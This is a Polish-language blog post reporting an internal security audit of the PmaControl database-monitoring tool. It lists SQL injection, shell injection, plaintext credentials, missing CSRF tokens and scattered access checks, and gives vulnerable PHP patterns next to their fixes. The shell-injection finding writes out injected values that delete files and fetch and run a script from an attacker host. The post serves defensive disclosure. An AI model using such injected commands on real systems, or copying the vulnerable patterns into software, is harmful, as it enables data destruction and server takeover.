Audyt bezpieczeństwa PmaControl: plan wzmocnienia zabezpieczeń

Aurélien LEQUOY · March 10, 2026

PMACONTROL SECURITY SQL-INJECTION AUDIT HARDENING

Dlaczego audytować własny kod

PmaControl nadzoruje infrastruktury MariaDB / MySQL produkcyjne. Ma dostęp do metryk, konfiguracji, kluczy SSH, danych uwierzytelniających. To idealny cel dla atakującego.

Przeprowadziliśmy wewnętrzny audyt bezpieczeństwa — nie po to, by opublikować raport marketingowy, lecz by zidentyfikować rzeczywiste luki i ustalić priorytety ich naprawy. Ten artykuł szczegółowo przedstawia wyniki bez pobłażania.

Metodologia

Audyt objął:

- **Statyczna analiza kodu**: ręczna analiza kontrolerów, modeli i widoków PHP
- **Analiza dynamiczna**: testy iniekcji na formularzach i endpointach API
- **Konfiguracja**: pliki konfiguracyjne, uprawnienia systemu plików, sekrety
- **Architektura**: powierzchnia ataku, izolacja komponentów, przepływy danych

Ustalenie 1: Iniekcja SQL przez dynamiczne budowanie zapytań

Ważność: KRYTYCZNA

Kilka kontrolerów buduje zapytania SQL, konkatenując bezpośrednio parametry użytkownika:

```
// Wzorzec znaleziony w kilku kontrolerach
$sql = "SELECT * FROM servers WHERE name LIKE '%" . $_GET['search'] . "%'";
$results = $db->query($sql);
```

Ten wzorzec jest podatny na klasyczną iniekcję SQL. Atakujący może wyciągnąć dane, modyfikować rekordy lub w najgorszym przypadku wykonywać polecenia systemowe przez `INTO OUTFILE` lub `LOAD_FILE()`.

Zidentyfikowane wystąpienia

Kontroler	Endpoint	Podatny parametr
ServerController	/servers/search	search
TagController	/tags/filter	name
LogController	/logs/view	server_id, date_range
MetricController	/metrics/query	metric_name

Naprawa

Przejście na **zapytania parametryzowane** (prepared statements):

```
// Przed (podatne)
$sql = "SELECT * FROM servers WHERE name LIKE '%" . $search . "%'";

// Po (bezpieczne)
$sql = "SELECT * FROM servers WHERE name LIKE ?";
$results = $db->query($sql, ['%' . $search . '%']);
```

Framework Glial natywnie obsługuje prepared statements. Problem nie jest techniczny, lecz historyczny: kod został napisany przed systematycznym przyjęciem tej praktyki.

Ustalenie 2: Iniekcja shell w kontrolerze Backup

Ważność: KRYTYCZNA

Kontroler backupu przekazuje dane wejściowe użytkownika bezpośrednio do `shell_exec()`:

```
// Wzorzec znaleziony w BackupController
$output = shell_exec("mysqldump -h " . $host . " -u " . $user . " " . $database);
```

Jeśli `$host` zawiera `; rm -rf /` lub `$(curl attacker.com/shell.sh | bash)`, polecenie jest wykonywane z uprawnieniami procesu PHP.

To najpoważniejsza luka audytu. Atakujący z dostępem do formularza backupu może uzyskać **pełny shell na serwerze PmaControl**.

Naprawa

1. **Usunąć wszelkie `shell_exec()` z parametrami użytkownika** — bez wyjątków
2. Użyć `escapeshellarg()` jako środka przejściowego, jeśli natychmiastowe usunięcie nie jest możliwe
3. Docelowo zastąpić wywołania shell **natywnymi bibliotekami PHP** (PDO dla mysqldump, phpseclib dla SSH)

```
// Środek przejściowy (sam niewystarczający)
$output = shell_exec("mysqldump -h " . escapeshellarg($host) . " ...");

// Docelowe rozwiązanie: bez shella
$pdo = new PDO("mysql:host=$host;dbname=$database", $user, $pass);
// ... backup przez PDO i SELECT INTO OUTFILE lub odpowiednik
```

Ustalenie 3: Hasła w tekście jawnym w plikach konfiguracyjnych

Ważność: WYSOKA

Dane uwierzytelniające do nadzorowanych baz danych są przechowywane w tekście jawnym w plikach konfiguracyjnych PHP:

```
// config/database.php
$config['servers'] = [
    'prod-master' => [
        'host' => '10.0.1.10',
        'user' => 'pmacontrol',
        'password' => 'P@ssw0rd123!',  // Tekst jawny
    ],
];
```

Naprawa

1. **Szyfrowanie sekretów w spoczynku** kluczem wyprowadzonym ze zmiennej środowiskowej
2. Użycie **menedżera sekretów** (HashiCorp Vault, AWS Secrets Manager) dla wdrożeń chmurowych
3. Minimum: przechowywanie haseł w **zmiennych środowiskowych** zamiast w plikach

```
// Po naprawie
$config['servers'] = [
    'prod-master' => [
        'host' => '10.0.1.10',
        'user' => 'pmacontrol',
        'password' => getenv('PMAC_PROD_MASTER_PASS'),
    ],
];
```

Ustalenie 4: Brak ochrony CSRF

Ważność: WYSOKA

Formularze PmaControl nie zawierają tokena CSRF. Atakujący może stworzyć złośliwą stronę, która przesyła formularz PmaControl w imieniu zalogowanego użytkownika.

Scenariusz ataku:

1. Administrator PmaControl jest zalogowany w jednej karcie
2. Odwiedza złośliwą stronę internetową w innej karcie
3. Strona zawiera niewidoczny formularz przesyłający `POST /servers/delete/42`
4. Przeglądarka wysyła ciasteczko sesji PmaControl — serwer zostaje usunięty

Naprawa

Implementacja **tokenów CSRF** na wszystkich formularzach POST:

```
// Generowanie tokena
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

// W formularzu
<input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">

// Walidacja po stronie serwera
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    http_response_code(403);
    die('CSRF token mismatch');
}
```

Ustalenie 5: Rozproszona kontrola dostępu

Ważność: ŚREDNIA

Weryfikacje ACL nie są scentralizowane. Każdy kontroler implementuje własne sprawdzenia uprawnień w niespójny sposób:

```
// Kontroler A: sprawdza uprawnienia
if (!$user->hasPermission('server.delete')) {
    redirect('/unauthorized');
}

// Kontroler B: nie sprawdza niczego
public function deleteServer($id) {
    $this->ServerModel->delete($id);  // Brak weryfikacji ACL
}
```

Naprawa

Scentralizowanie ACL w **middleware** wykonywanym przed każdą akcją kontrolera:

```
// Scentralizowany middleware
class AclMiddleware {
    public function before($controller, $action) {
```

```
        $permission = $controller . '.' . $action;
        if (!$this->user->hasPermission($permission)) {
            throw new ForbiddenException();
        }
    }
}
```

Plan naprawczy

Priorytet 1 — Krytyczny (natychmiastowy)

Akcja	Szacowany nakład	Status
Zapytania parametryzowane we wszystkich kontrolerach	3-5 dni	W trakcie
Usunięcie shell_exec z danymi wejściowymi użytkownika	1-2 dni	W trakcie
Tokeny CSRF na wszystkich formularzach	2-3 dni	Zaplanowane
Szyfrowanie sekretów w konfiguracji	1-2 dni	Zaplanowane

Priorytet 2 — Wysoki (w ciągu 30 dni)

Akcja	Szacowany nakład	Status
Izolacja workerów SSH/backup w osobnym procesie	5-8 dni	Zaplanowane
Audyt uprawnień systemu plików	1 dzień	Zaplanowane
Rate limiting na API i uwierzytelnianiu	2-3 dni	Zaplanowane

Priorytet 3 — Średni (w ciągu 90 dni)

Akcja	Szacowany nakład	Status
Centralizacja ACL w middleware	3-5 dni	Zaplanowane
Normalizacja wzorców kontrolerów	5-8 dni	Zaplanowane
Nagłówki bezpieczeństwa (CSP, HSTS, X-Frame-Options)	1 dzień	Zaplanowane
Scentralizowane logowanie bezpieczeństwa	2-3 dni	Zaplanowane

Czego ten audyt nie obejmuje

- Luk w zależnościach zewnętrznych (jQuery, Bootstrap) — planowany oddzielny audyt
- Luk sieciowych (firewall, TLS) — odpowiedzialność infrastruktury
- Inżynierii społecznej i phishingu — poza zakresem technicznym

Podsumowanie

Narzędzie monitorujące z dostępem do danych uwierzytelniających produkcji jest krytycznym celem. PmaControl, jak wiele projektów open source rozwijanych organicznie, nosi historyczne długi bezpieczeństwa.

Przejrzystość w kwestii tych luk jest świadomym wyborem. Wolimy publicznie dokumentować podatności i plan naprawczy, niż udawać, że kod jest bezpieczny.

Poprawki P1 są w trakcie realizacji. P2 i P3 podążają za realistycznym harmonogramem. Każde wydanie PmaControl zmniejsza powierzchnię ataku.